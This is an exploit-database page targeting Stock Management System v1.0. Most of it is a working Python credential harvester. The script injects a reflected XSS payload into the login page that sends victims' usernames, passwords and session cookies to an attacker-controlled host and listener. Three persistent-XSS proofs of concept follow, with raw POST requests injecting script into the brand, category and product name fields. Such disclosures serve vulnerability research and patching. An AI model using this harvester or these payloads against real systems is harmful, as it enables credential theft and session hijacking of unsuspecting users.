Share
## https://sploitus.com/exploit?id=1337DAY-ID-34776
# Exploit Title: Stock Management System v1.0 - Cross-Site Scripting Credential Harvester (Login-Portal)
# Exploit Author: Bobby Cooke
# Vendor Homepage: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/stock.zip
# Version: 1.0
# CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - Type 1: Reflected XSS
# CWE-523: Unprotected Transport of Credentials
# OWASP Top Ten 2017: A7:2017-Cross-Site Scripting (XSS)
# CVSS Base Score: 6.4 | Impact Subscore: 4.7 | Exploitability Subscore: 1.6
# CVSS v3.1 Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L
# Tested On: Windows 10 Pro + XAMPP | Python 2.7
# Vulnerability Description:
# Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of SourceCodesters
# Stock Management System v1.0 allows remote attackers to harvest login credentials & session cookie via
# unauthenticated victim clicking malicious URL and entering credentials.
import socket,sys,urllib,re
from thread import *
from colorama import Fore, Back, Style
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
info = S[3]+F[5]+'['+S[0]+S[3]+'-'+S[3]+F[5]+']'+S[0]+' '
err = S[3]+F[2]+'['+S[0]+S[3]+'!'+S[3]+F[2]+']'+S[0]+' '
ok = S[3]+F[3]+'['+S[0]+S[3]+'+'+S[3]+F[3]+']'+S[0]+' '
def urlEncode(javascript):
return urllib.quote(javascript)
def genXssPayload(LHOST,LPORT):
XSS_PAYLOAD = '/" method="post" id="loginForm"><script>'
XSS_PAYLOAD += 'document.forms[0].action = \'/stock/index.php\';'
XSS_PAYLOAD += 'document.forms[0].onsubmit = function sendCreds(){'
XSS_PAYLOAD += 'var username = document.forms[0].elements[1].value;'
XSS_PAYLOAD += 'var password = document.forms[0].elements[2].value;'
XSS_PAYLOAD += 'var dFslash = "%2f%2f";'
XSS_PAYLOAD += 'var uri = "http:"+decodeURIComponent(dFslash)+"'+LHOST+':'+LPORT+'/get.php?|USER="+username+"|PASS="+password+"|"+document.cookie;'
XSS_PAYLOAD += 'xhr = new XMLHttpRequest();'
XSS_PAYLOAD += 'xhr.open("GET", uri, true);'
XSS_PAYLOAD += 'xhr.send();'
XSS_PAYLOAD += 'alert("Welcome "+username+"! Sending your credentails and session to a remote attacker!");'
XSS_PAYLOAD += '};'
XSS_PAYLOAD += 'document.forms[0].id = \'loginForm\';'
XSS_PAYLOAD += 'var links = document.getElementsByTagName("link");'
XSS_PAYLOAD += 'links[0].href = "/stock/assests/bootstrap/css/bootstrap.min.css";'
XSS_PAYLOAD += 'links[1].href = "/stock/assests/bootstrap/css/bootstrap-theme.min.css";'
XSS_PAYLOAD += 'links[2].href = "/stock/assests/font-awesome/css/font-awesome.min.css";'
XSS_PAYLOAD += 'links[3].href = "/stock/custom/css/custom.css";'
XSS_PAYLOAD += 'links[4].href = "/stock/assests/jquery-ui/jquery-ui.min.css";'
XSS_PAYLOAD += '</script><p name="DelMe'
return XSS_PAYLOAD
def clientthread(conn):
try:
while True:
data = conn.recv(1024)
user = re.findall(r'USER=\w*',data)
user = re.sub('^USER=','',user[0])
print(ok+S[3]+"USERNAME: "+F[3]+user+F[0])
pswd = re.findall(r'PASS=\w*',data)
pswd = re.sub('^PASS=','',pswd[0])
print(ok+S[3]+"PASSWORD: "+F[3]+pswd+F[0])
sess = re.findall(r'PHPSESSID=\w*',data)
sess = re.sub('^PHPSESSID=','',sess[0])
print(ok+S[3]+"PHPSESSID: "+F[3]+sess+F[0])
if not data:
break
except:
conn.close()
def formatHelp(STRING):
return S[3]+F[2]+STRING+S[0]
def sig():
SIG = S[3]+F[4]+" .-----.._ ,--.\n"
SIG += F[4]+" | .. > ___ | | .--.\n"
SIG += F[4]+" | |.' ,'-'"+F[2]+"* *"+F[4]+"'-. |/ /__ __\n"
SIG += F[4]+" | </ "+F[2]+"* * *"+F[4]+" \ / \\/ \\\n"
SIG += F[4]+" | |> ) "+F[2]+" * *"+F[4]+" / \\ \\\n"
SIG += F[4]+" |____..- '-.._..-'_|\\___|._..\\___\\\n"
SIG += F[4]+" _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]
return SIG
def header():
head = S[3]+F[2]+' --- Stock Management System v1.0 | Reflected XSS Credential Harvester ---\n'+S[0]
return head
if __name__ == "__main__":
print(header())
print(sig())
if len(sys.argv) != 4:
print(err+formatHelp("(+) Usage: python %s <WEBAPP_URL> <LHOST> <LPORT>" % sys.argv[0]))
print(err+formatHelp("(+) Example: python %s 'http://172.16.65.130/stock/' '172.16.65.1' 80" % sys.argv[0]))
sys.exit(-1)
WEBAPP_URL = sys.argv[1]
LHOST = sys.argv[2]
LPORT = sys.argv[3]
if not re.match(r".*/$", WEBAPP_URL):
WEBAPP_URL = WEBAPP_URL+'/'
WEBAPP_URL = WEBAPP_URL+'index.php'
PAYLOAD = genXssPayload(LHOST,LPORT)
ENCODED_PAYLOAD = urlEncode(PAYLOAD)
print(info+F[0]+'To '+S[3]+F[2]+'Harvest Credentials'+F[0]+S[0]+', have a'+F[3]+' User '+F[0]+'visit '+F[5]+'this URL'+F[0]+' and '+F[7]+'Login'+F[0]+':')
print S[3]+F[5]+WEBAPP_URL+ENCODED_PAYLOAD+S[0]
LPORT = int(LPORT)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((LHOST,LPORT))
print(info+"Binding to Socket.")
s.listen(10)
print(info+"Listening on Socket for incoming connections.")
try:
while 1:
conn, addr = s.accept()
print(ok+"Victim connected with "+addr[0]+":"+str(addr[1]))
start_new_thread(clientthread ,(conn,))
except:
s.close()
print(err+"Exiting Credential Harvester..")
---------------------------------------------------------
# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Brand Name' parameter in the edit brand function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Brand Name value expected.
#Steps:
1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)
2. Click "Brand"
3. Click "Action" in any brand name row
4. Click Edit
5. In "Brand Name" field enter XSS <script>alert(1)</script>
6. Click save changes
7. Any page on the webapp expecting that 'Brand Name' will trigger the XSS.
POST /stock/php_action/editBrand.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/brand.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8
editBrandName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editBrandStatus=1&brandId=14
# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Categories Name)
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4
# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Categories Name' parameter in the edit brand function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Categories Name value expected.
#Steps:
1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)
2. Click "Category"
3. Click "Action" in any categories name row
4. Click Edit
5. In "Categories Name" field enter XSS <script>alert("XSS")</script>
6. Click save changes
7. Any page on the webapp expecting that 'Categories Name' will trigger the XSS.
POST /stock/php_action/editCategories.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/categories.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 102
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8
editCategoriesName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editCategoriesStatus=1&editCategoriesId=9
# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Product Name)
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4
# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Product Name' parameter in the Edit Product function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Product Name value expected.
#Steps:
1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)
2. Click "Product"
3. Click "Action" in any categories name row
4. Click Edit, then Product Info (tab)
5. In "Product Name" field enter XSS <script>alert("XSS")</script>
6. Click save changes
7. Any page on the webapp expecting that 'Product Name' will trigger the XSS.
POST /stock/php_action/editProduct.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/product.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------147762840819880874581057152477
Content-Length: 938
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editProductName"
<script>alert("hyd3sec")</script>
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editQuantity"
9
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editRate"
1200
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editBrandName"
12
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editCategoryName"
7
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editProductStatus"
1
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="productId"
8
-----------------------------147762840819880874581057152477--
# 0day.today [2020-08-05] #